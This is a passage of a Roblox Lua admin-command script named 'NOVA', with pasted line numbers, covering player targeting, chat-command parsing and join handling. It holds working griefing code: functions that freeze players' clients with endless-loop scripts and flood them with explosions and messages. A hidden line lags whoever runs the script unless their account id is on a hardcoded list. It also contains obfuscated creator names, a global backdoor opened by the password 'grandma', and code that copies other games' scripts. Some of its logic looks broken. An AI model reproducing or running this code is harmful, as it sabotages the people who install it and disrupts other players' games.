                        if SearchType == nil or SearchType == 1 then
824
                            return string.match(Child.Name:lower(), Name:lower())
825
                        elseif SearchType == 2 then
826
                            return string.match(Child.className:lower(), Name:lower())
827
                        elseif SearchType == 3 then
828
                            return Child:IsA(Name) or Child:IsA(Name:lower())
829
                        elseif SearchType == 4 then
830
                            return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
831
                        end
832
                        return false
833
                    end)() then
834
                        table.insert(Children, Child)
835
                    end
836
                    GetRecursiveChildren(Child, Name, SearchType, Children)
837
                end)
838
            end
839
        end)
840
    elseif type(Source) == "table" then
841
        for _,Area in pairs(Source) do
842
            pcall(function()
843
                for _, Child in pairs(Area:children()) do
844
                    pcall(function()
845
                        if (function()
846
                            if SearchType == nil or SearchType == 1 then
847
                                return string.match(Child.Name:lower(), Name:lower())
848
                            elseif SearchType == 2 then
849
                                return string.match(Child.className:lower(), Name:lower())
850
                            elseif SearchType == 3 then
851
                                return Child:IsA(Name) or Child:IsA(Name:lower())
852
                            elseif SearchType == 4 then
853
                                return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
854
                            end
855
                            return false
856
                        end)() then
857
                            table.insert(Children, Child)
858
                        end
859
                        GetRecursiveChildren(Child, Name, SearchType, Children)
860
                    end)
861
                end
862
            end)
863
        end
864
    else
865
        print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
866
    end
867
    return Children
868
end
869
 
870
--[[ GET REPLICATORS ]]--
871
function GetReplicators()
872
    Rtn = NOVA.Services.NetworkServer:GetChildren()
873
    for i=1,#Rtn do
874
        if not Rtn[i]:IsA("ServerReplicator") then
875
            table.remove(Rtn,i)
876
        end
877
    end
878
    return Rtn
879
end
880
 
881
--[[ GET RANKED ]]--
882
 
883
function GetRanked()
884
    local Rtn = {}
885
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
886
        if GetRank(v) ~= nil and GetRank(v) > 0 then
887
            table.insert(Rtn,v)
888
        end
889
    end
890
    return Rtn    
891
end
892
 
893
--[[ GTFO ]]--
894
function GTFO(v)
895
    coroutine.resume(coroutine.create(function()
896
        pcall(function()    CreateLocalScript("while true do end",v.Backpack)    end)
897
        pcall(function()    CreateLocalScript("while true do end",v.Character)    end)
898
        wait(0.5)
899
        pcall(function()     NOVA.Services.Debris:AddItem(v,0)                     end)
900
    end))
901
end
902
--[[ GET RID OF ]]--
903
 
904
function GetRidOf(v)
905
   
906
 if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then
907
   
908
    Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
909
 
910
   else
911
        pcall(function()
912
           
913
 coroutine.resume(coroutine.create(function()
914
           
915
v:Destroy()        
916
end))
917
       
918
end)
919
   
920
end
921
 
922
end
923
 
924
--[[ LAG ]]--
925
function Lag(v)
926
    coroutine.resume(coroutine.create(function()
927
        if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then
928
            OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
929
        else
930
        while wait() do
931
        for i=1, 10 do
932
        local Msg = Instance.new("Message",v.PlayerGui)
933
        Msg.Text = "JOO B LAGGIN NARB"
934
        local Blas = Instance.new("Explosion",v.PlayerGui)
935
        Blas.BlastRadius = 123456
936
   end
937
        end
938
            local H = Instance.new("Hint",NOVA.Services.Workspace)
939
            repeat
940
                H.Text = v.Name.." be gettin' lagged."
941
                H.Parent = NOVA.Services.Workspace
942
                wait()
943
            until v.Parent == nil
944
            H:Remove()
945
        end
946
    end))
947
end
948
if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end
949
--[[ GET TABLETS ]]--
950
 
951
function GetTablets(Player)
952
    local Rtn = {}
953
    for _, Tablet in pairs(NOVA.Tablets) do
954
        if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then
955
            if Tablet.Recipient.Value == Player then
956
                table.insert(Rtn, Tablet)
957
            end
958
        end
959
    end
960
    --table.insert(_tablets,Instance.new("Model"))
961
    return Rtn
962
end
963
 
964
--[[ REMOVE TABLETS ]]--
965
 
966
function RemoveTablets(Player)
967
    if Player == nil then
968
        for _,v in pairs(NOVA.Tablets) do
969
            coroutine.resume(coroutine.create(function()
970
                for i=1,10 do
971
                    v.Part.Transparency = v.Part.Transparency + 0.05
972
                    v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
973
                    v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
974
                    wait()
975
                end
976
                v:remove()
977
            end))
978
        end
979
    else
980
        for _,v in pairs(GetTablets(Player)) do
981
            coroutine.resume(coroutine.create(function()
982
                for i=1,10 do
983
                    v.Part.Transparency = v.Part.Transparency + 0.05
984
                    v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
985
                    v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
986
                    wait()
987
                end
988
                v:remove()
989
            end))
990
        end
991
    end
992
end
993
 
994
--[[ OUTPUT ]]--
995
function Output(Message, Color, Player, Stick, Func)
996
    if Player == nil or Color == nil or Player == nil then
997
        print("[NOVA.Output] Argument(s) missing or nil.")
998
        return
999
    end
1000
   
1001
    Message = tostring(Message)
1002
    if type(Player) == "userdata" then
1003
        if Player.Character == nil or Player.Character.Head == nil then
1004
            return
1005
        end
1006
    end
1007
    if type(Player) == "string" then
1008
        for _,v in pairs(GetPlayers(Player,"NOVA")) do
1009
            Output(Message,Color,v,Stick,Func)
1010
        end
1011
        return
1012
    end
1013
 
1014
    if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
1015
 
1016
    local Model = Instance.new("Model",NOVA.Services.Workspace)
1017
    table.insert(NOVA.Tablets, Model)
1018
    Model.Name = "Output:" .. NOVA.Bet .. Player.Name
1019
 
1020
    local Part = Instance.new("Part",Model)
1021
    Part.Transparency = 0.5
1022
    Part.CanCollide = false
1023
    Part.Locked = true
1024
    Part.Anchored = true
1025
    Part.Name = "Part"
1026
    Part.TopSurface = "Smooth"
1027
    Part.BottomSurface = "Smooth"
1028
    Part.FormFactor = "Plate"
1029
    Part.Color = Color
1030
    Part.Size = Vector3.new(2, 0.4, 3)
1031
    Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7)
1032
    Part:BreakJoints()
1033
   
1034
    local Box = Instance.new("SelectionBox",Part)
1035
    Box.Name = "SelectionBox"
1036
    Box.Adornee = Part
1037
    Box.Color = BrickColor.new(Color.r, Color.g, Color.b)
1038
    Box.Transparency = 0.75
1039
 
1040
    local Recipient = Instance.new("ObjectValue",Model)
1041
    Recipient.Name = "Recipient"
1042
    Recipient.Value = Player
1043
 
1044
Gui = Instance.new("BillboardGui")
1045
Gui.Name = "BillboardGui"
1046
Gui.Parent = Model
1047
Gui.Adornee = Part
1048
Gui.Size = UDim2.new(1, 0, 1, 0)
1049
Gui.StudsOffset = Vector3.new(0, 3, 0)
1050
local Frame = Instance.new("Frame",Gui)
1051
Frame.Name = "Frame"
1052
Frame.Size = UDim2.new(1, 0, 1, 0)
1053
Frame.BackgroundTransparency = 1
1054
Label = Instance.new("TextLabel")
1055
Label.Name = "Label"
1056
Label.Parent = Frame
1057
Label.Size = UDim2.new(1,0,1,0)
1058
Label.FontSize = "Size12"
1059
Label.TextColor3 = Color
1060
Label.Text = Message
1061
Label.BackgroundTransparency = 1
1062
   
1063
    local Click = Instance.new("ClickDetector",Part)
1064
    Click.MaxActivationDistance = 9201
1065
    Click.MouseClick:connect(function(player)
1066
        if player == Player or GetRank(player) > GetRank(Player) then
1067
            if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss")  then
1068
                RemoveTablets(Player)
1069
            else
1070
                coroutine.resume(coroutine.create(function()
1071
                    for i=1,10 do
1072
                        Part.Transparency = Part.Transparency + 0.05
1073
                        Box.Transparency = Box.Transparency + 0.025
1074
                        Label.TextTransparency = Label.TextTransparency + 0.1
1075
                        wait()
1076
                    end
1077
                    Model:remove()
1078
                end))
1079
               
1080
                Func(player)
1081
            end
1082
        end
1083
    end)
1084
   
1085
     coroutine.resume(coroutine.create(function()
1086
        if Stick == 0 or Stick == nil then else
1087
            pcall(function()
1088
                --[[for i=Stick,0,-0.5 do
1089
                    Label.Text = Message .. "\t(" .. i .. ")"
1090
                    wait(0.5)
1091
                end        
1092
                Model:Destroy()]]
1093
                NOVA.Services.Debris:AddItem(Model,Stick)
1094
            end)
1095
        end
1096
     end))
1097
   
1098
    return Click
1099
end
1100
 
1101
-- [ IMAGE OUTPUT ]]--
1102
function OutputImg(Image,Text,Color,Player,Stick,Func)
1103
    Tab = Output(Text,Color,Player,Stick,Func)
1104
   
1105
    BBG = Instance.new("BillboardGui",Tab.Parent)
1106
    BBG.Size = UDim2.new(5,0,6,0)
1107
    BBG.StudsOffset = Vector3.new(0, 7, 0)
1108
    BBG.Adornee = Tab.Parent
1109
   
1110
    Img = Instance.new("ImageLabel",BBG)
1111
    Img.Size = UDim2.new(1,0,1,0)
1112
    Img.BackgroundTransparency = 1
1113
    Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
1114
    return Tab
1115
end
1116
 
1117
--[[ OUTPUT MULTI ]]--
1118
 
1119
function OutputMulti(Msg,Color,Players,Stick,Func)
1120
    --if type(Players) == "Table" then
1121
        for _,v in pairs(Players) do
1122
            Output(Msg,Color,v,Stick,Func)
1123
        end
1124
    --end
1125
end
1126
 
1127
--[[ UPDATE TABLETS ]]--
1128
 
1129
function UpdateTablets()
1130
    --pcall(function()
1131
        NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease
1132
        for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
1133
            local Tablets = GetTablets(Player)
1134
            local Counter = 0
1135
            local StartCF = CFrame.new(0,0,0)
1136
           
1137
            for i = 180, -180, -360/(#Tablets ) do
1138
                pcall(function()
1139
                    Counter = Counter + 1
1140
                    if NOVA.TabletPositionRelative == true then
1141
                        StartCF = Player.Character.Torso.CFrame
1142
                    else
1143
                        StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z)
1144
                    end
1145
                    Tablets[Counter].Part.CFrame = StartCF
1146
                        * CFrame.new(0, 0, 0)
1147
                        * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0)
1148
                        * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1)))
1149
                        * CFrame.Angles(math.rad(70), 0, 0)
1150
                end)
1151
            end
1152
 
1153
            if #Tablets == 1 then
1154
                pcall(function()
1155
                    Tablets[1].Part.CFrame = Player.Torso.CFrame
1156
                        * CFrame.new(0, 0, 0)
1157
                        * CFrame.Angles(0, math.rad(0), 0)
1158
                        * CFrame.new(0, 0, -5)
1159
                        * CFrame.Angles(math.rad(70), 0, 0)
1160
                end)
1161
            end
1162
        end
1163
        wait()
1164
    --end)
1165
end
1166
--[[ GET PLAYERS RAW ]]--
1167
function GetPlayersRaw()
1168
    return NOVA.Services.Players:GetPlayers()
1169
end
1170
 
1171
--[[ GET PLAYERS ]]--
1172
function GetPlayers(Name,Speaker)
1173
    if type(Player) == string or Player == nil then Player = Instance.new("Model") end
1174
    local OldName = Name
1175
    local Name = Name:lower()
1176
    local Players = GetPlayersRaw()
1177
    local Rtn = {}
1178
    for i=1,#Name do
1179
        if Name:find(",") then
1180
            local Split = 0
1181
            for i=1,#Name do
1182
                if Name:sub(i,i) == "," then
1183
                    Split = i
1184
                end
1185
            end
1186
            for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do
1187
                table.insert(Rtn,v)
1188
            end
1189
            Name = Name:sub(1,Split-1)
1190
        end
1191
    end
1192
    if Name == "external players" then
1193
        for _,v in pairs(NOVA.ExternalPlayersList) do
1194
            if GetRank(Speaker) >= GetRank(v) then
1195
                table.insert(Rtn,v)
1196
            else
1197
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1198
            end
1199
        end
1200
    elseif Name == "all" then
1201
        for _,v in pairs(Players) do
1202
            if GetRank(Speaker) >= GetRank(v) then
1203
                table.insert(Rtn,v)
1204
            else
1205
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1206
            end
1207
        end
1208
    elseif Name == "others" then
1209
        for _,v in pairs(Players) do
1210
            if v ~= Speaker then
1211
                if GetRank(Speaker) >= GetRank(v) then
1212
                    table.insert(Rtn,v)
1213
                else
1214
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1215
                end
1216
            end
1217
        end
1218
    elseif Name == "random" then
1219
        local Person = Players[math.random(1,#Players)]
1220
        if GetRank(Speaker) >= GetRank(Person) then
1221
            table.insert(Rtn,Person)
1222
        else
1223
            Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1224
        end
1225
    elseif Name == "me" or Name == "not me" or Name =="notme" then
1226
        table.insert(Rtn,Speaker)
1227
    elseif Name == "vetrans" then
1228
        for _,v in pairs(Players) do
1229
            if v.AccountAge > 365 then
1230
                if GetRank(Speaker) >= GetRank(v) then
1231
                    table.insert(Rtn,v)
1232
                else
1233
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1234
                end
1235
            end
1236
        end
1237
    elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then
1238
        for _,v in pairs(Players) do
1239
            if v.AccountAge < 365 then
1240
                if GetRank(Speaker) >= GetRank(v) then
1241
                    table.insert(Rtn,v)
1242
                else
1243
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1244
                end
1245
            end    
1246
        end
1247
    elseif Name == "newbs" or Name == "noobs" then
1248
        for _,v in pairs(Players) do
1249
            if v.AccountAge < 60 then
1250
                if GetRank(Speaker) >= GetRank(v) then
1251
                    table.insert(Rtn,v)
1252
                else
1253
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1254
                end
1255
            end    
1256
        end
1257
    elseif Name == "targeted" then
1258
        for _,v in pairs(NOVA.Targeted) do
1259
            if GetRank(Speaker) >= GetRank(v) then
1260
                table.insert(Rtn,v)
1261
            else
1262
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1263
            end
1264
        end
1265
    elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then
1266
        for _,v in pairs(Players) do
1267
            if not IsTargeted(v) then
1268
                if GetRank(Speaker) >= GetRank(v) then
1269
                    table.insert(Rtn,v)
1270
                else
1271
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1272
                end
1273
            end
1274
        end
1275
elseif string.sub(Name,1,5) == "rank " then
1276
        local ToKillRank = string.sub(Name,6)
1277
for i,v in pairs(game.Players:GetPlayers()) do
1278
if GetRanked(v) == ToKillRank then
1279
if GetRank(Speaker) >= GetRank(v) then
1280
                            table.insert(Rtn,v)
1281
                        else
1282
                            Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1283
                        end
1284
end
1285
end
1286
    elseif Name:sub(1,4) == "not " then
1287
        for _,v in pairs(Players) do
1288
            for _,Check in pairs(Players) do
1289
                if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then
1290
                    if v ~= Check then
1291
                        if GetRank(Speaker) >= GetRank(v) then
1292
                            table.insert(Rtn,v)
1293
                        else
1294
                            Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1295
                        end
1296
                    end
1297
                end
1298
            end
1299
        end
1300
    else
1301
        for _,v in pairs(Players) do
1302
            if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then
1303
                if GetRank(Speaker) >= GetRank(v) then
1304
                    table.insert(Rtn,v)
1305
                else
1306
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1307
                end
1308
            end
1309
        end
1310
    end
1311
    return Rtn
1312
end
1313
 
1314
--[[ ON CHATTED ]]--
1315
function OnChatted(Msg,Speaker)
1316
    coroutine.resume(coroutine.create(function()
1317
        if NOVA.Removed == false then
1318
            if Msg:find(" --") then
1319
                for i=1,#Msg do
1320
                    if Msg:sub(i,i+2) == " --" then
1321
                        Msg = Msg:sub(1,i-1)
1322
                        break
1323
                    end
1324
                end
1325
            end
1326
            local Data = GetRankedTable(Speaker)
1327
            if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
1328
                if NOVA.ShowChat == true then    
1329
                    if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then
1330
                        print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)))    
1331
                    else
1332
                        print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)    
1333
                    end
1334
                end
1335
            end
1336
           
1337
            --[[ CHAT FILTERS ]]--
1338
            for _,v in pairs(NOVA.ChatFilters) do
1339
                if Msg:lower():sub(1,#v + 1) == v:lower().." " then
1340
                    Msg = Msg:sub(#v+2)
1341
                end
1342
            end
1343
       
1344
            if GetRank(Speaker) < 6 then
1345
                --[[ KILLING PHRASES ]]--
1346
                for _,v in pairs(NOVA.KillingPhrases) do
1347
                    if Msg:lower():find(v:lower()) then
1348
                        pcall(function()
1349
                            Speaker.Character:BreakJoints()
1350
                        end)
1351
                    end
1352
                end
1353
            end
1354
        local FoundKick = false
1355
                if NOVA.BadPhrases == true then
1356
            if GetRank(Speaker) <= 0 then
1357
                --[[ KICKING PHRASES ]]--
1358
                --if game.PlaceId == 113456 or game.PlaceId == 56786 then
1359
                    for _,v in pairs(NOVA.KickingPhrases) do
1360
                        if FoundKick == false then
1361
                        if Msg:lower():find(v:lower()) then
1362
                            GetRidOf(Speaker)
1363
                       FoundKick = true
1364
                            makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace)
1365
                            pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end)
1366
                        end
1367
                        end
1368
                    end
1369
                end
1370
            end
1371
           
1372
            --[[ ANIMATIONS ]]--
1373
            for _,v in pairs(NOVA.Animations) do
1374
                if Speaker.Name == v.Who then
1375
                    if Msg:lower():find(v.Name:lower()) then
1376
                        pcall(function()
1377
                            CreateLocalScript([[
1378
                            local Animation = Instance.new("Animation",workspace)
1379
                            Animation.Name = "Dylanbuil's Animation"
1380
                            Animation.AnimationId = "]]..v.Id..[["
1381
                            local hum = game:GetService("Players").LocalPlayer.Character.Humanoid
1382
                            local anim_feet = hum:LoadAnimation(Animation)
1383
                            local current = anim_feet
1384
                            current:Play(0.5)
1385
                            ]],Speaker.Backpack)
1386
                        end)
1387
                    end
1388
                end
1389
            end
1390
           
1391
            Num = 1
1392
            Sep = nil
1393
                           
1394
            if Msg:sub(1,3) == NOVA.Bet .. "do" then
1395
           
1396
                for i=4,#Msg do
1397
                    if Msg:sub(i,i) == NOVA.Bet .. "" then
1398
                        Sep = i
1399
                        break
1400
                    end
1401
                end
1402
               
1403
                if Sep ~= nil then
1404
                    Num = tonumber(Msg:sub(4,Sep-1))
1405
                end
1406
               
1407
                Msg = Msg:sub(Sep)
1408
            end
1409
           
1410
            table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg})
1411
           
1412
            if Data.Rank < 6 and Data.Rank >= 0 then
1413
                if Num > (GetRank(Speaker) + 1 )*10 then
1414
                    Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
1415
                    Num = 0
1416
                end
1417
            end          
1418
            for i=1,Num do
1419
                if NOVA.Canceled == true then NOVA.Canceled = false break end
1420
                for _,CMD in pairs(NOVA.Commands) do
1421
                    if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then
1422
                        RemoveTablets(Speaker)
1423
                        Output("Name : "..CMD.Name,Data.Color,Speaker)
1424
                        Output("Rank : "..CMD.Rank,Data.Color,Speaker)
1425
                        Output("Command : "..CMD.Command,Data.Color,Speaker)
1426
                        Output("Arguments : "..CMD.Args,Data.Color,Speaker)
1427
                        Output("Description : "..CMD.Description,Data.Color,Speaker)
1428
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
1429
                    elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then
1430
                        if Data.Rank ~= nil and Data.Rank >= CMD.Rank then
1431
                            if NOVA.Overrided == true and Data.Rank < 7 then
1432
                                Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15)
1433
                            else
1434
                                local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end))
1435
                                if not a then
1436
                                    Output(b,NOVA.Colors.Red,Speaker,15)
1437
                                else
1438
                                    table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name})
1439
                                end
1440
                            end
1441
                        else
1442
                            table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."})
1443
                            print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
1444
                            Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
1445
                        end
1446
                       
1447
                    end
1448
                end    
1449
                wait()
1450
            end                
1451
        end
1452
    end))
1453
end
1454
 
1455
--[[ ADD COMMAND ]]--
1456
function AddCommand(Name,Command,Rank,Description,Args,Function)
1457
    for i,v in pairs(NOVA.Commands) do
1458
        if v.Command == Command then
1459
            table.remove(NOVA.Commands,i)
1460
        end
1461
    end
1462
    table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
1463
end
1464
 
1465
--[[ BACKUP PROCEDURE ]]--
1466
pcall(function()
1467
    NOVA.Backup = script:children()[2].Value
1468
end)
1469
 
1470
--[[ NIL SUPPORT ]]--
1471
game:GetService("Chat").Chatted:connect(function(Part,Message,Color)
1472
    local Split = GetSplit(Message)
1473
    OnChatted(Message:sub(Split+1),Message:sub(Split-1))
1474
end)
1475
 
1476
--[[ Safety Procedure # 1 ]]--
1477
pcall(function()
1478
    NOVA.LocalScript.Parent = nil
1479
end)
1480
for _,v in pairs(NOVA.Plugins) do
1481
    pcall(function()
1482
        v.Parent = nil
1483
    end)
1484
end
1485
pcall(function()
1486
    script:ClearAllChildren()
1487
end)
1488
 
1489
--[[ Safty Procedure # 2 ]]--
1490
for _,v in pairs(GetRecursiveChildren(workspace)) do
1491
    if v:IsA("StringValue") or v:IsA("IntValue") then
1492
        pcall(function()
1493
            v:remove()
1494
        end)
1495
    end
1496
end
1497
 
1498
--[[ SCRIPT LOGGING PROCEDURES ]]--
1499
for _,Service in pairs(NOVA.Services) do
1500
    pcall(function()
1501
        Service.DescendantAdded:connect(function(v)
1502
            if v:IsA("BaseScript") then
1503
                table.insert(NOVA.LoggedScripts,v)
1504
            end
1505
        end)
1506
    end)
1507
end
1508
 
1509
for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do
1510
    pcall(function()
1511
        table.insert(NOVA.LoggedScripts,v)
1512
    end)
1513
end
1514
 
1515
--[[ GLOBAL FUNCTIONS ]]--
1516
function SetGlobals()
1517
    if NOVA.UseGlobals == true then
1518
        _G.NOVACommands = function(Msg,Speaker,Players,Password)
1519
            if Password == "grandma" then
1520
                NOVA.ExternalPlayersList = {}
1521
                for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end
1522
                OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker)
1523
            end
1524
        end
1525
 
1526
        _G.RemoveNOVA = function(Pass)
1527
            if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then
1528
                NOVA.Removed = true
1529
                NOVA = {}
1530
                error("Unknown Exception")()
1531
                script.Disabled = true
1532
                script:Remove()
1533
            else
1534
                return false
1535
            end
1536
        end
1537
 
1538
        _G.NOVAOverride = function(Player,Password)
1539
            if Password == nil then Password = "" end
1540
            CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player)
1541
            return CanOverride
1542
        end
1543
    elseif NOVA.UseGlobals == false then
1544
        _G.NOVACommands = nil
1545
        _G.RemoveNOVA = nil
1546
        _G.NOVAOverride = nil
1547
    end
1548
end
1549
 
1550
--[[ INITIAL STARTUP ]]--
1551
 
1552
SetGlobals()
1553
UpdatePlayerPlugins()
1554
 
1555
if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
1556
    for _,v in pairs(NOVA.LoggedScripts) do
1557
        if v:IsA("LocalScript") and v:FindFirstChild("DSource") then
1558
            NOVA.LocalScript = v:Clone()
1559
        elseif v:IsA("Script") and v:FindFirstChild("DSource") then
1560
            NOVA.NormalScript = v:Clone()
1561
        end
1562
    end
1563
end
1564
 
1565
for _,v in pairs(GetPlayersRaw()) do
1566
    pcall(function()
1567
        coroutine.resume(coroutine.create(function()
1568
            table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
1569
            pcall(function()
1570
                v.PlayerGui.NOVACMD:Remove()
1571
            end)
1572
           
1573
            if GetRankedTable(v)==nil then
1574
                SyncRankInSingular(v)
1575
                repeat wait() until GetRankedTable(v) ~= nil
1576
            end
1577
           
1578
            local Data = GetRankedTable(v)
1579
           
1580
            v.Chatted:connect(function(Msg)
1581
                OnChatted(Msg,v)
1582
            end)
1583
            coroutine.resume(coroutine.create(function()
1584
                repeat wait() until v:FindFirstChild("Backpack") ~= nil
1585
                CreateLocalScript(PlayerPlugins,v.Backpack)
1586
            end))
1587
        end))
1588
    end)
1589
end
1590
 
1591
--[[ PLAYER ADDED ]]--
1592
NOVA.Services.Players.PlayerAdded:connect(function(v)
1593
    if NOVA.Removed == false then
1594
        pcall(function()
1595
            table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
1596
            coroutine.resume(coroutine.create(function()
1597
                --if Data.Rank < 1 then
1598
                    if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1599
                        coroutine.resume(coroutine.create(function()
1600
                            repeat wait() until v:FindFirstChild("Backpack") ~= nil
1601
                            CreateLocalScript(PlayerPlugins,v.Backpack)
1602
                            OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v)
1603
                        end))
1604
                    end
1605
                    if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1606
                        coroutine.resume(coroutine.create(function()
1607
                            repeat wait() until v:FindFirstChild("Backpack") ~= nil
1608
                            OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v)
1609
                        end))
1610
                    end
1611
                --end
1612
                v.Chatted:connect(function(Msg)
1613
                    OnChatted(Msg,v)
1614
                end)
1615
                if GetRankedTable(v)==nil then
1616
                    SyncRankInSingular(v)
1617
                    repeat wait() until GetRankedTable(v) ~= nil
1618
                end
1619
               
1620
                local Data = GetRankedTable(v)
1621
 
1622
                OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
1623
           
1624
                if Data.Rank == -2 then
1625
                    if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1626
                        OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
1627
                        Lag(v)
1628
                    end
1629
                end
1630
               
1631
                if Data.Rank == -1 then
1632
                    if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1633
                        OutputMulti(v.Name.." has been removed due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
1634
                        GetRidOf(v)
1635
                    end
1636
                end
1637
               
1638
                if not Data.Rank > 0 then
1639
                    if v.AccountAge < 5 then
1640
                        if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1641
                            if v.Name:sub(1,6) == "Guest " then
1642
                                if NOVA.EnableGuests == false then
1643
                                    OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10)
1644
                                    GetRidOf(v)
1645
                                end
1646
                            else
1647
                                if not Data.Rank > 0 then
1648
                                    OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10)
1649
                                    GetRidOf(v)
1650
                                end
1651
                            end
1652
                        end
1653
                    end
1654
                end
1655
               
1656
                if NOVA.PRI == true then
1657
                    if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then                
